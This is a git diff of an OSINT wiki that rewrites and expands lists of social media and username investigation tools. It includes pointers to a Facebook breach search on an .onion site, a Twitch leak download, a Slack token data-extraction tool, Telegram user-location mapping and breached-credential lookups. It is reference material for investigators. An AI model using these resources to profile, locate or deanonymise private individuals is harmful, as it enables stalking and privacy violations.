-* [http://4wbwa6vcpvcr3vvf4qkhppgy56urmjcj2vagu2iqgp3z656xcmfdbiqd.onion/](http://4wbwa6vcpvcr3vvf4qkhppgy56urmjcj2vagu2iqgp3z656xcmfdbiqd.onion/) - An .onion site that allows you to search through the full 2019 Facebook data breach. -* [https://whopostedwhat.com](https://whopostedwhat.com) - Allows you to search keywords by specific dates, date ranges and location. -* [https://plessas.net/facebookmatrix](https://plessas.net/facebookmatrix) - A collection of techniques and formulas for searching Facebook. -* [https://searchisback.com/](https://searchisback.com/) - Find people and events on Facebook. Searchable by name, location, relationship, gender, language, and more. -* [Facebook's list of dangerous groups and individuals](https://theintercept.com/document/2021/10/12/facebook-dangerous-individuals-and-organizations-list-reproduced-snapshot/) - A leaked internal document from Facebook that contains their list of dangerous individuals and groups. Worth saving. +* [https://www.osintcombine.com/facebook-search-tools](https://www.osintcombine.com/facebook-search-tools) - Efficient batch search tool for Facebook that opens multiple keyword searches or mutual friend lists simultaneously in separate tabs. Designed for efficiency when working with lists of search terms or profile IDs without automation. +* [http://4wbwa6vcpvcr3vvf4qkhppgy56urmjcj2vagu2iqgp3z656xcmfdbiqd.onion/](http://4wbwa6vcpvcr3vvf4qkhppgy56urmjcj2vagu2iqgp3z656xcmfdbiqd.onion/) - Tor hidden service providing searchable access to the 2019 Facebook data breach dataset. +* [https://whopostedwhat.com](https://whopostedwhat.com) - Facebook keyword search tool with advanced filtering by specific dates, date ranges, and location. **Note:** Functionality varies based on Facebook's privacy settings and API changes. +* [https://plessas.net/facebookmatrix](https://plessas.net/facebookmatrix) - Comprehensive collection of search techniques and query formulas for effective Facebook investigations. +* [https://searchisback.com/](https://searchisback.com/) - Facebook people and event search engine with filters for name, location, relationship status, gender, language, and additional parameters. **Note:** Results depend on target's privacy settings. +* [Facebook's list of dangerous groups and individuals](https://theintercept.com/document/2021/10/12/facebook-dangerous-individuals-and-organizations-list-reproduced-snapshot/) - Leaked internal Facebook document containing the platform's list of dangerous individuals and organizations. Valuable reference for threat intelligence research. * [Facebook law enforcement guide](https://www.facebook.com/safety/groups/law/guidelines/?\_fb\_noscript=1) - Guidelines and resources for law enforcement officials seeking records from Facebook and/or Instagram. @@ -68,7 +88,7 @@ Gab -* [https://www.secjuice.com/investigate-gab-users-osint/](https://www.secjuice.com/investigate-gab-users-osint/) +* [https://www.secjuice.com/investigate-gab-users-osint/](https://www.secjuice.com/investigate-gab-users-osint/) - Comprehensive guide on investigating Gab users using OSINT techniques. @@ -76,23 +96,22 @@ Instagram -* [instaloader](https://www.kali.org/tools/instaloader/) - Downloads public and private profiles, hashtags, user stories, feeds and saved media Downloads comments, geotags and captions of each post. -* [https://www.searchmy.bio/](https://www.searchmy.bio/) - search for Instagram users and influencers based on their profile biography text. -* [https://codeofaninja.com/tools/find-instagram-user-id](https://codeofaninja.com/tools/find-instagram-user-id) -* [https://searchusers.com](https://searchusers.com) - Search for Instagram users by name or username. -* [https://imginn.com](https://imginn.com) - View Instagram profiles, download photos, videos and stories, watch Instagram stories anonymously. +* [instaloader](https://www.kali.org/tools/instaloader/) - Command-line tool for downloading Instagram content including public and private profiles, hashtags, user stories, feeds, saved media, comments, geotags, and captions. **Note:** Authentication required for most features; may encounter rate limiting. +* [https://www.searchmy.bio/](https://www.searchmy.bio/) - Search engine for discovering Instagram users and influencers based on their profile biography text. +* [https://codeofaninja.com/tools/find-instagram-user-id](https://codeofaninja.com/tools/find-instagram-user-id) - Tool for finding Instagram user IDs from usernames. +* [https://searchusers.com](https://searchusers.com) - Instagram user search by name or username. **Note:** Functionality depends on Instagram's current restrictions. +* [https://imginn.com](https://imginn.com) - Web-based Instagram viewer for anonymously browsing profiles, downloading photos and videos, and viewing stories without an account. **Note:** May experience downtime or domain changes due to Instagram's anti-scraping measures. -{% file src="../../.gitbook/assets/Instagram.html" %} +Local helper copy: [Instagram.html](../../.gitbook/assets/Instagram.html)
kik -* [https://ws2.kik.com/user/%3Cusername\_goes\_here%3E](https://ws2.kik.com/user/%3Cusername\_goes\_here%3E) - Enter a Kik username and get information for that account in JSON format. Includes full name, profile picture, and a UNIX formatted timestamp of when the profile picture was last changed. Example: `https://ws2.kik.com/user/`. -* [https://kikusernames.com/search](https://kikusernames.com/search) - Search for Kik usernames. +* [https://ws2.kik.com/user/%3Cusername\_goes\_here%3E](https://ws2.kik.com/user/%3Cusername\_goes\_here%3E) - Kik API endpoint that returns account information in JSON format including full name, profile picture, and UNIX timestamp of the last profile picture change. Example: `https://ws2.kik.com/user/`. **Note:** May have intermittent availability. +* [https://kik.me/%3Cusername\_goes\_here%3E](https://kik.me/%3Cusername\_goes\_here%3E) - Verify if a Kik username exists and view basic profile information including full name, username, and profile picture. Example: `https://kik.me/`.
@@ -100,11 +119,11 @@ Linkedin -* [CrossLinked](https://github.com/m8r0wn/CrossLinked) - LinkedIn enumeration tool to extract valid employee names from an organization through search engine scraping -* [inspy](https://www.kali.org/tools/inspy/) - a Python based LinkedIn enumeration tool. You will need an API key from HunterIO. -* [https://freepeoplesearchtool.com](https://freepeoplesearchtool.com) - Find LinkedIn profiles without using your account. -* [https://www.intelligencewithsteve.com/post/a-guide-to-searching-linkedin-by-email-address](https://www.intelligencewithsteve.com/post/a-guide-to-searching-linkedin-by-email-address) -* [https://github.com/krlabs/linkedin-dorks](https://github.com/krlabs/linkedin-dorks) +* [CrossLinked](https://github.com/m8r0wn/CrossLinked) - LinkedIn enumeration tool that extracts valid employee names from an organization through search engine scraping. +* [inspy](https://www.kali.org/tools/inspy/) - Python-based LinkedIn enumeration tool requiring a Hunter.io API key. +* [https://freepeoplesearchtool.com](https://freepeoplesearchtool.com) - Search LinkedIn profiles without requiring a LinkedIn account. **Note:** Results limited compared to authenticated LinkedIn access. +* [https://www.intelligencewithsteve.com/post/a-guide-to-searching-linkedin-by-email-address](https://www.intelligencewithsteve.com/post/a-guide-to-searching-linkedin-by-email-address) - Detailed guide on techniques for searching LinkedIn profiles using email addresses. +* [https://github.com/krlabs/linkedin-dorks](https://github.com/krlabs/linkedin-dorks) - Collection of Google dorks for finding information on LinkedIn. @@ -112,9 +131,8 @@ Mastodon -* [https://search.noc.social/](https://search.noc.social/) - Search for social accounts across multiple Mastodon/Fediverse instances. Discover content and users on this open source social network -* [https://blog.defenders.town/mastodon/](https://blog.defenders.town/mastodon/) -* +* [https://search.noc.social/](https://search.noc.social/) - Search for social accounts across multiple Mastodon/Fediverse instances. Discover content and users on this open-source social network. +* [https://blog.defenders.town/mastodon/](https://blog.defenders.town/mastodon/) - Guide to using Mastodon for OSINT investigations.
@@ -124,9 +142,11 @@ Parler -* [https://parler.adatascienti.st](https://parler.adatascienti.st) - A searchable data set of the Parler social network. -* [https://www.skopenow.com/news/the-new-digital-meeting-place-what-parler-means-for-osint-investigators](https://www.skopenow.com/news/the-new-digital-meeting-place-what-parler-means-for-osint-investigators) -* [https://mktg.skopenow.com/parler-whitepaper-webinar](https://mktg.skopenow.com/parler-whitepaper-webinar) +**Note:** Parler experienced significant downtime and relaunched in 2023. Historical data may be more valuable than current content. + +* [https://parler.adatascienti.st](https://parler.adatascienti.st) - Searchable dataset of the Parler social network (January 2021 data archive). +* [https://www.skopenow.com/news/the-new-digital-meeting-place-what-parler-means-for-osint-investigators](https://www.skopenow.com/news/the-new-digital-meeting-place-what-parler-means-for-osint-investigators) - Article discussing Parler's implications for OSINT investigations. +* [https://mktg.skopenow.com/parler-whitepaper-webinar](https://mktg.skopenow.com/parler-whitepaper-webinar) - Whitepaper and webinar on investigating Parler for intelligence gathering. @@ -134,8 +154,8 @@ Reddit -* [https://camas.github.io/reddit-search/](https://camas.github.io/reddit-search/) - One of the best Reddit archives out there. Search for deleted posts and comments. Allows you to search by username, subreddit, date range, string, or a combination of all. -* [https://www.secjuice.com/reddit-osint-techniques/](https://www.secjuice.com/reddit-osint-techniques/) +* [https://camas.github.io/reddit-search/](https://camas.github.io/reddit-search/) - Powerful Reddit archive for searching deleted posts and comments. Supports filtering by username, subreddit, date range, keyword string, or any combination thereof. +* [https://www.secjuice.com/reddit-osint-techniques/](https://www.secjuice.com/reddit-osint-techniques/) - Comprehensive guide on Reddit OSINT investigation techniques. @@ -143,9 +163,7 @@ Slack -* [Slack Pirate](https://github.com/emtunc/SlackPirate) — tool developed in Python which uses the native Slack APIs to extract 'interesting' information from a Slack workspace given an access token - - +* [Slack Pirate](https://github.com/emtunc/SlackPirate) - Python tool that uses native Slack APIs to extract sensitive information from a Slack workspace when provided with an access token. @@ -153,9 +171,7 @@ Skype -* [vedbex.com/tools/email2skype](https://www.vedbex.com/tools/email2skype) — finding a Skype account by email - - +* [vedbex.com/tools/email2skype](https://www.vedbex.com/tools/email2skype) - Tool for finding Skype accounts by email address. **Note:** Results depend on user privacy settings and data availability. @@ -164,9 +180,9 @@ SnapChat * Geolocation - * [https://map.snapchat.com/](https://map.snapchat.com/) - Reveal geolocation based on Snapchat metadata -* Misc - * [https://osintcurio.us/2020/04/13/using-snapchat-for-osint-10-minute-tip/](https://osintcurio.us/2020/04/13/using-snapchat-for-osint-10-minute-tip/) + * [https://map.snapchat.com/](https://map.snapchat.com/) - Snapchat Snap Map for viewing geotagged public snaps and discovering location-based content. +* Resources + * [https://osintcurio.us/2020/04/13/using-snapchat-for-osint-10-minute-tip/](https://osintcurio.us/2020/04/13/using-snapchat-for-osint-10-minute-tip/) - Quick guide on using Snapchat for OSINT investigations. @@ -176,21 +192,20 @@ * [https://telegramdb.org](https://telegramdb.org) - Database of public Telegram groups, channels and bots. * [https://search.buzz.im/](https://search.buzz.im/) - A tool that allows you to search Telegram channels, messages and authors for a specific string. -* [https://lyzem.com](https://lyzem.com) - A search engine for Telegram and Telegraph. -* [https://telegcrack.com](https://telegcrack.com) - A search engine for Telegra.ph. You can find the all posts with known title. Currently has around 3,554,101 posts indexed. -* [Telegago](https://cse.google.com/cse?q=+\&cx=006368593537057042503:efxu7xprihg#gsc.tab=0\&gsc.q=%20\&gsc.page=1) — Telegram search engine -* [Commentgram CSE](https://cse.google.com/cse?cx=006368593537057042503:ig4r3rz35qi#gsc.tab=0) — search by Telegram comments\ - [Telegram Message Analyzer](https://github.com/zqtay/Telegram-Message-Analyzer) — Export #Telegram chat (with Windows version of Telegram app) and get detailed analyze of it (message count, average message count per day, word frequency etc) -* [@SangMataInfo\_bot](https://t.me/SangMataInfo\_bot) — forward a message from the user and find out the history of their name in Telegram -* [@tgscanrobot](https://t.me/tgscanrobot) — telegram bot to show which telegram groups a person is member of. -* [Telegram Nearby Map](https://github.com/tejado/telegram-nearby-map) — Discover the location of nearby Telegram users on OpenStreetMap -* [Telescan](https://github.com/pielco11/telescan) — search users in groups (and in which groups is the user) by id, username or phone number (if it's in your contacts) -* [Tgstat](https://tgstat.com) — one of the largest directories of Telegram channels, which has detailed information about the growth of the audience, its engagement and mentions of a particular channel in various sources. -* [Telescan](https://github.com/pielco11/telescan) — search users in groups (and in which groups is the user) by id, username or phone number -* [@VoiceMsgBot](https://t.me/VoiceMsgBot) — telegram bot to which you can send voice messages and it converts them into text -* [@transcriber\_bot](https://t.me/transcriber\_bot) — telegram bot, which can convert to text voice messages in 24 languages (view pic) -* [Telegramchannels.me](https://telegramchannels.me/list/biggest?language=en) — Ratings of the 100 largest (by number of subscribers) #Telegram channels for different -* [https://hatless1der.com/telegram-osint-basics-5-tips-anyone-can-do-right](https://hatless1der.com/telegram-osint-basics-5-tips-anyone-can-do-right) +* [https://lyzem.com](https://lyzem.com) - Search engine for Telegram and Telegraph content. +* [https://telegcrack.com](https://telegcrack.com) - Search engine for Telegra.ph posts. Find all posts with known titles from an index of approximately 3.5 million posts. +* [Telegago](https://cse.google.com/cse?q=+\&cx=006368593537057042503:efxu7xprihg#gsc.tab=0\&gsc.q=%20\&gsc.page=1) - Custom Google Search Engine for Telegram content. +* [Commentgram CSE](https://cse.google.com/cse?cx=006368593537057042503:ig4r3rz35qi#gsc.tab=0) - Custom Google Search Engine for searching Telegram comments. +* [Telegram Message Analyzer](https://github.com/zqtay/Telegram-Message-Analyzer) - Tool for exporting and analyzing Telegram chats (requires Windows version of Telegram). Provides statistics including message count, average messages per day, word frequency, and more. +* [@SangMataInfo\_bot](https://t.me/SangMataInfo\_bot) - Telegram bot that reveals the name history of a user when you forward their message. +* [@tgscanrobot](https://t.me/tgscanrobot) - Telegram bot that shows which Telegram groups a person is a member of. **Note:** Only shows groups where both you and the target are members. +* [Telegram Nearby Map](https://github.com/tejado/telegram-nearby-map) - Tool for discovering and mapping the location of nearby Telegram users on OpenStreetMap. +* [Telescan](https://github.com/pielco11/telescan) - Search for Telegram users in groups and identify which groups they belong to using user ID, username, or phone number (if in contacts). +* [Tgstat](https://tgstat.com) - One of the largest Telegram channel directories featuring detailed analytics on audience growth, engagement metrics, and cross-platform channel mentions. +* [@VoiceMsgBot](https://t.me/VoiceMsgBot) - Telegram bot that transcribes voice messages to text. +* [@transcriber\_bot](https://t.me/transcriber\_bot) - Telegram bot that converts voice messages to text in 24 different languages. +* [Telegramchannels.me](https://telegramchannels.me/list/biggest?language=en) - Rankings of the 100 largest Telegram channels by subscriber count across different categories and languages. +* [https://hatless1der.com/telegram-osint-basics-5-tips-anyone-can-do-right](https://hatless1der.com/telegram-osint-basics-5-tips-anyone-can-do-right) - Guide covering five basic Telegram OSINT techniques for investigators. @@ -198,9 +213,9 @@ Tumblr -* [https://www.secjuice.com/tumblr-osint/](https://www.secjuice.com/tumblr-osint/) -* [https://jetblackcode.com/TumblrOriginalPostFinder](https://jetblackcode.com/TumblrOriginalPostFinder) - Find all original posts for any Tumblr blog. You can filter posts by note count or a certain tag. -* [https://labs.polsys.net/tools/tumblr/](https://labs.polsys.net/tools/tumblr/) - Collects posts tagged with a specific term from Tumblr and export to a .tab or .gdf file. +* [https://www.secjuice.com/tumblr-osint/](https://www.secjuice.com/tumblr-osint/) - Comprehensive guide to conducting OSINT investigations on Tumblr. +* [https://jetblackcode.com/TumblrOriginalPostFinder](https://jetblackcode.com/TumblrOriginalPostFinder) - Tool for finding all original posts from any Tumblr blog with filtering by note count or specific tags. **Note:** Functionality depends on Tumblr API availability. +* [https://labs.polsys.net/tools/tumblr/](https://labs.polsys.net/tools/tumblr/) - Data collection tool that gathers posts tagged with specific terms from Tumblr and exports them to .tab or .gdf format. **Note:** May have limited functionality; verify current status. @@ -208,46 +223,167 @@ Twitch -* [https://sizeof.cat/post/twitch-leaks/](https://sizeof.cat/post/twitch-leaks/) - In October 6th, 2021, Twitch got hacked and their data was dumped online. This article explains the contents of the breached data and provides a magnet URI to download the raw data. - - +* [https://sizeof.cat/post/twitch-leaks/](https://sizeof.cat/post/twitch-leaks/) - Analysis of the October 2021 Twitch data breach. Article explains the contents of the leaked data and provides a magnet URI for downloading the raw dataset.
-Twitter +X (Twitter) -* Advanced Search - [https://twitter.com/search-advanced](https://twitter.com/search-advanced) +* Advanced Search - [https://twitter.com/search-advanced](https://twitter.com/search-advanced) - X's native advanced search interface. * Toolsets - * [https://tweetbeaver.com](https://tweetbeaver.com) - A great collection of various tools for preforming Twitter account OSINT. Requires you to be sign into your Twitter account. + * [https://tweetbeaver.com](https://tweetbeaver.com) - Comprehensive collection of tools for conducting X/Twitter account OSINT. Requires authentication with your account. **Note:** Some features may be limited due to API restrictions. * User Reports - * [https://tinfoleak.com/](https://tinfoleak.com/) - Search for Twitter users leaks - * [https://nitter.net](https://nitter.net) - Allows you to view a persons posts, images and videos without having a Twitter account yourself. Also has a very handy search function that allows you to search through a persons tweets for a specific string. - * [twint](https://github.com/twintproject/twint) - An advanced Twitter scraping & OSINT tool written in Python that doesn't use Twitter's API, allowing you to scrape a user's followers, following, Tweets and more while evading most API limitations. + * [https://tinfoleak.com/](https://tinfoleak.com/) - Tool for discovering X/Twitter user information leaks and metadata analysis. **Note:** Limited functionality due to API changes. * Analytics and Statistics - * [https://foller.me/](https://foller.me/) - Twitter message statistical data. - * [https://socialbearing.com/](https://socialbearing.com/) - * [https://analytics.mentionmapp.com/](https://analytics.mentionmapp.com/) - Twitter network visualizer - * [https://twiangulate.com/search/](https://twiangulate.com/search/) - Twitter cross-reference tool - * [https://spoonbill.io/](https://spoonbill.io/) - Profile change trackeron -* Bot Hunting - * [https://botsentinel.com](https://botsentinel.com) - A platform developed to classify and track inauthentic accounts, bots and toxic trolls. + * [https://socialbearing.com/](https://socialbearing.com/) - X/Twitter analytics and search platform for analyzing users, posts, and trends. **Note:** Functionality limited by API restrictions. + * [https://botsentinel.com](https://botsentinel.com) - Platform for classifying and tracking inauthentic X/Twitter accounts, bots, and toxic trolls using machine learning. + * [https://twiangulate.com/search/](https://twiangulate.com/search/) - Cross-reference tool for analyzing relationships between multiple X/Twitter accounts. * Geolocation - * [https://onemilliontweetmap.com/](https://onemilliontweetmap.com/) + * [https://onemilliontweetmap.com/](https://onemilliontweetmap.com/) - Interactive map visualizing geotagged posts from around the world in real-time. **Note:** Limited by reduced geolocation data availability.
-{% file src="../../.gitbook/assets/Twitter.html" %} +Local helper copy: [Twitter.html](../../.gitbook/assets/Twitter.html) + +
+ +YouTube + +* [YouTube Advanced Search](https://www.youtube.com/) - YouTube's native search with advanced filters for upload date, duration, features, and sort options. Access filters through search results page. +* [YouTube DataViewer](https://citizenevidence.amnestyusa.org/) - Amnesty International tool for extracting metadata from YouTube videos including upload time and thumbnail images for reverse image search. +* [YouTube Comment Finder](https://ytcomment.kmcat.uk/) - Search for comments by specific users across YouTube. +* [YouTube Geofind](https://mattw.io/youtube-geofind/) - Discover YouTube videos by location and upload date using geographic coordinates. +* [YouTube Metadata](https://mattw.io/youtube-metadata/) - Extract detailed metadata from YouTube videos, channels, and playlists. +* [Montage](https://monta.ge/) - Create video timelines by searching multiple YouTube channels simultaneously. **Note:** Service may have limited functionality or availability. +* [Hadzy](https://hadzy.com/) - YouTube comment search engine for finding specific comments or users. +* [Deturl (PwnYouTube)](https://deturl.com/) - Download YouTube videos and extract video information. + +
WhatsApp -* [whatsanalyze.com](https://whatsanalyze.com) — analyzes #WhatsApp group message statistics (world cloud, timeline, message frequency) -* [chatvisualizer.com](https://chatvisualizer.com) — another #WhatsApp chat analyzer. -* [Watools.io](https://watools.io/download-profile-picture) — download whatsapp profile picture -* [WAGSCRAPER](https://github.com/riz4d/WaGpScraper) — Scraps Whatsapp Group Links From Google Results And Gives Working Links (with group names and images) +* [whatsanalyze.com](https://whatsanalyze.com) - Analyzes exported WhatsApp chat files for statistics including word clouds, timelines, and message frequency. **Note:** Requires chat export file. +* [chatvisualizer.com](https://chatvisualizer.com) - WhatsApp chat analyzer with visualization features. **Note:** Requires exported chat data. +* [Watools.io](https://watools.io/download-profile-picture) - Tool for downloading WhatsApp profile pictures. **Note:** Limited by WhatsApp privacy settings. +* [WAGSCRAPER](https://github.com/riz4d/WaGpScraper) - Scrapes WhatsApp group links from Google search results and provides working links with group names and images. + +
+ +
+ +VKontakte (VK) + +* [VK Advanced Search](https://vk.com/search) - Native VKontakte search with filters for people, communities, videos, and more. +* [https://vk.watch](https://vk.watch) - Tool for searching VK users, groups, and posts with advanced filtering options. +* [VK5](https://github.com/skavngr/vk5) - Python tool for VKontakte OSINT including friend list extraction and profile analysis. **Note:** Repository archived; may not work with current VK API. +* [https://reportvk.com](https://reportvk.com) - Analyze VK profiles and extract information including friend lists, groups, and activity history. **Note:** Verify current functionality. +* [VK City4Me](https://city4me.ru/) - Geolocation tool for finding VKontakte users by location. **Note:** May require Russian language interface. +* [Yasiv VK](http://yasiv.com/vk) - Visualize VKontakte friend networks and connections. **Note:** Service status uncertain; verify before use. + +
+ +
+ +Alternative Platforms + +* [Truth Social](https://truthsocial.com/) - Search directly on the platform. Limited third-party OSINT tools available. +* [Gettr Search](https://gettr.com/search) - Native search functionality for the Gettr platform. +* [Rumble](https://rumble.com/search) - Video platform search for alternative content creators. +* [Odysee](https://odysee.com/) - Decentralized video platform built on LBRY blockchain. Search available natively. +* [Bluesky Search](https://bsky.app/) - AT Protocol-based decentralized social network. Search via native interface. +* [Threads](https://www.threads.net/) - Meta's microblogging platform. Limited OSINT capabilities; primarily accessible through Instagram accounts. + +
+ +
+ +Archival and Historical Research + +* [Wayback Machine](https://web.archive.org/) - Internet Archive's historical snapshots of social media profiles and posts. +* [Archive.today](https://archive.today/) - Create and search permanent snapshots of social media content and websites. +* [Cached Pages](http://www.cachedpages.com/) - Access cached versions of social media pages from multiple search engines. +* [Politwoops](https://projects.propublica.org/politwoops/) - Archive of deleted tweets by politicians and public officials (US and international). + +
+ +
+ +General SOCMINT Techniques and Best Practices + +* **Operational Security** + * Use dedicated OSINT accounts separate from personal profiles + * Consider using VPNs or Tor for sensitive investigations + * Be aware of platform terms of service and legal boundaries + * Document your methodology for potential legal proceedings +* **Verification Techniques** + * Cross-reference information across multiple platforms + * Use reverse image search to verify profile pictures (Google Images, TinEye, Yandex) + * Check metadata in downloaded images and videos + * Verify timestamps and geolocation data +* **Collection Best Practices** + * Take timestamped screenshots of all evidence + * Archive pages immediately using archive.today or Wayback Machine + * Export data in multiple formats when possible + * Maintain detailed chain of custody documentation +* **Analysis Frameworks** + * Use timeline analysis tools to correlate activity across platforms + * Map social networks and connections between accounts + * Identify patterns in posting behavior and content + * Look for account linking through shared usernames, emails, or phone numbers +* **Legal and Ethical Considerations** + * Understand jurisdiction-specific privacy laws (GDPR, CCPA, etc.) + * Respect platform terms of service + * Avoid social engineering or impersonation + * Consider ethical implications of investigation methods +* **Useful Resources** + * [OSINT Framework](https://osintframework.com/) - Comprehensive directory of OSINT tools + * [IntelTechniques](https://inteltechniques.com/tools/) - Collection of custom search tools + * [Bellingcat's Online Investigation Toolkit](https://bit.ly/bcattools) - Curated OSINT resource list + +
+ +For Tor, VPN, privacy, and persona OPSEC guidance, use the privacy section. + +{% content-ref url="../../grey-privacy-tor-opsec/" %} +[grey-privacy-tor-opsec](../../grey-privacy-tor-opsec/) +{% endcontent-ref %} + +
+ +Deprecated or Limited Functionality Tools + +**The following tools are no longer functional, have severely limited capabilities, or have been discontinued. They are listed here for historical reference and awareness.** + +* **Twitter/X API-Dependent Tools (Limited/Broken)** + * [twint](https://github.com/twintproject/twint) - Advanced Twitter scraping tool. **Status:** No longer functional due to Twitter/X API changes and site structure updates. Last maintained 2021. + * [https://nitter.net](https://nitter.net) - Privacy-focused Twitter front-end. **Status:** Most public instances are non-functional due to Twitter/X blocking. Self-hosted instances may still work with limitations. + * [https://foller.me/](https://foller.me/) - Twitter analytics tool. **Status:** Non-functional due to API restrictions. + * [https://analytics.mentionmapp.com/](https://analytics.mentionmapp.com/) - Twitter network visualizer. **Status:** Limited functionality due to API changes. + * [https://spoonbill.io/](https://spoonbill.io/) - Profile change tracker. **Status:** No longer functional due to API restrictions. + * [Snap Bird](https://snapbird.org/) - Twitter archive search. **Status:** Discontinued due to Twitter API changes. + +* **Discontinued Platforms** + * [Google+ OSINT tools] - Platform shut down in April 2019. All tools non-functional. + * [Periscope] - Service discontinued by Twitter in March 2021. Merged into Twitter. + * [Vine] - Platform shut down in 2017. Archives may exist but no active tools. + +* **Third-Party Instagram Viewers (Unreliable)** + * [https://kikusernames.com/search](https://kikusernames.com/search) - Kik username search. **Status:** Frequently offline or non-functional. + * Various Instagram viewer sites (imginn.com, urlebird.com alternatives) - **Note:** These sites frequently go offline, change domains, or become non-functional due to Instagram's anti-scraping measures. Verify functionality before relying on them. + +* **Limited by Platform Changes** + * [https://clubsearch.io](https://clubsearch.io) - Clubhouse room search. **Status:** Limited value due to Clubhouse decline. + * Third-party TikTok viewers - Many domains frequently change or become non-functional due to TikTok's anti-scraping measures. + +**Alternative Approaches:** +* For X/Twitter: Use native advanced search, paid API access, or browser-based manual collection +* For Instagram: Use official tools like Instagram Data Download or browser-based collection with proper authentication +* For archived content: Check Wayback Machine and archive.today +* Consider using official platform APIs where available (with appropriate authorization)
@@ -255,10 +391,10 @@ 4chan -* [https://archived.moe/](https://archived.moe/) - A searchable archive of most 4chan boards. -* [https://4chansearch.com](https://4chansearch.com) - A Google CSE that allows you to search 4chan and its various archives. -* [https://4plebs.org](https://4plebs.org) - A searchable archive of all threads and images from /adv/, /f/, /hr/, /o/, /pol/, /sp/, /tg/, /trv/, /tv/ and /x/. Reminder: 4chan is serious business, you might get offended. -* [https://find.4chan.org](https://find.4chan.org) - Search current 4chan threads for matching keywords. -* [https://qresear.ch](https://qresear.ch) - A searchable archive of "QAnon" related posts from 8kun/8chan. +* [https://archived.moe/](https://archived.moe/) - Searchable archive of most 4chan boards with historical thread and post data. +* [https://4chansearch.com](https://4chansearch.com) - Custom Google Search Engine for searching 4chan and its various archives. +* [https://4plebs.org](https://4plebs.org) - Comprehensive searchable archive of threads and images from multiple 4chan boards including /adv/, /f/, /hr/, /o/, /pol/, /sp/, /tg/, /trv/, /tv/, and /x/. **Note:** Content may be offensive. +* [https://find.4chan.org](https://find.4chan.org) - Search tool for finding matching keywords in currently active 4chan threads. +* [https://qresear.ch](https://qresear.ch) - Searchable archive of QAnon-related posts from 8kun/8chan. diff --git a/cyber-intelligence/osint/username-email.md b/cyber-intelligence/osint/username-email.md index 3aa3a46..0b64eb2 100644 --- a/cyber-intelligence/osint/username-email.md +++ b/cyber-intelligence/osint/username-email.md @@ -2,35 +2,46 @@ ## Usernames and Email Addresses -Corporate usernames are beginning to be obnoxiously easy to guess and build. The standard of FIRSTNAME.LASTNAME@CORP.com is so common, it's ridiculous. Even more so when account management tools will simply take the first half of the email and reuse it as a username. We can use schemes like this to our advantage to search for a multitude of treasures like accounts on other services with the same username, credentials found in breaches, and associated sites or tools. When searching for usernames, you can uncover linked social media accounts and tons of relevant intelligence. +Corporate usernames have become increasingly predictable, following standardized naming conventions such as FIRSTNAME.LASTNAME@CORP.com. This consistency extends to account management systems, which often derive usernames from the email prefix. Security professionals can leverage these patterns to identify: + +* Accounts on other services using the same username +* Credentials exposed in data breaches +* Associated websites, social media profiles, and online tools +* Linked accounts across multiple platforms + +Username and email enumeration is a fundamental OSINT technique that can reveal substantial intelligence about individuals and organizations. ## Username and Email Address Analysis Tools **Username.html and Email.html** -These two tools often go hand in hand with results often overlapping. Still, it is good habit to run the searches for both the username and the email address in case there is a discrepancy between the two. These two tools check for two things: presence of the username/email on a given platform, and any public/leaked info connected to them. +These complementary tools often produce overlapping results, but it's best practice to search both the username and email address separately to capture any discrepancies. These tools perform two primary functions: + +1. **Presence Detection**: Verify if the username or email exists on various platforms +2. **Exposure Analysis**: Identify any publicly available or leaked information associated with the credentials -{% file src="../../.gitbook/assets/Username (1).html" %} +Local helper copy: [Username.html](../../.gitbook/assets/Username.html) -{% file src="../../.gitbook/assets/Email.html" %} +Local helper copy: [Email.html](../../.gitbook/assets/Email.html)
Username Search Tools -* [https://whatsmyname.app/](https://whatsmyname.app/) - This tool allows you to enumerate usernames across many different websites. - * [https://github.com/WebBreacher/WhatsMyName](https://github.com/WebBreacher/WhatsMyName) -* [https://usersearch.org/](https://usersearch.org/index.php?amp=1) - Search Engine for Usernames -* [Lullar search](https://www.lullar.com/) - Search tool specifically for names -* [Name Check](https://namechk.com/) - See if a username is available across multiple platforms -* [Sherlock ](https://github.com/sherlock-project/sherlock)- Hunt down social media accounts by username across [social networks](https://github.com/sherlock-project/sherlock/blob/master/sites.md) - * [https://www.kali.org/tools/sherlock/](https://www.kali.org/tools/sherlock/) -* [Stalker](https://gitlab.com/Pxmme/stalker) - OSINT tool for automated scanning of social networks and other websites, using a single nickname. -* [finduser](https://github.com/xHak9x/finduser) - Find usernames across over 75 social networks -* [socialscan](https://github.com/iojw/socialscan) - Python library and CLI for accurately querying username and email usage on online platforms. -* [https://analyzeid.com/username/](https://analyzeid.com/username/) - Social media username checker. Gather information on the taken username and get a summary of who the person is. -* [https://www.idcrawl.com/](https://www.idcrawl.com/) - A free people search engine that organizes social network information, deep web information, phone numbers, email addresses and more. -* [https://knowem.com/](https://knowem.com/) - Allows you to check for a username or real name instantly on over 500 popular and emerging social media sites. +* [WhatsMyName](https://whatsmyname.app/) - Enumerate usernames across multiple websites and platforms + * [GitHub Repository](https://github.com/WebBreacher/WhatsMyName) +* [UserSearch.org](https://usersearch.org/) - Dedicated search engine for username discovery +* [NameChk](https://namechk.com/) - Check username availability across multiple platforms simultaneously +* [Namecheckr](https://www.namecheckr.com/) - Check username and domain availability across social media and web +* [Sherlock](https://github.com/sherlock-project/sherlock) - Hunt down social media accounts by username across [400+ social networks](https://github.com/sherlock-project/sherlock/blob/master/sites.md) + * [Kali Tools Documentation](https://www.kali.org/tools/sherlock/) +* [Maigret](https://github.com/soxoj/maigret) - Collect information about username across 2500+ sites, improved fork of Sherlock +* [socialscan](https://github.com/iojw/socialscan) - Python library and CLI for accurately querying username and email usage on online platforms +* [Blackbird](https://github.com/p1ngul1n0/blackbird) - Search for usernames across 600+ social networks and websites +* [AnalyzeID](https://analyzeid.com/username/) - Check username availability across social media platforms and gather basic profile information +* [IDCrawl](https://www.idcrawl.com/) - Free people search engine aggregating social network information, deep web data, phone numbers, and email addresses +* [Instant Username Search](https://instantusername.com/) - Check username availability across multiple social media platforms instantly +* [KnowEm](https://knowem.com/) - Check username or real name availability across 500+ popular and emerging social media platforms
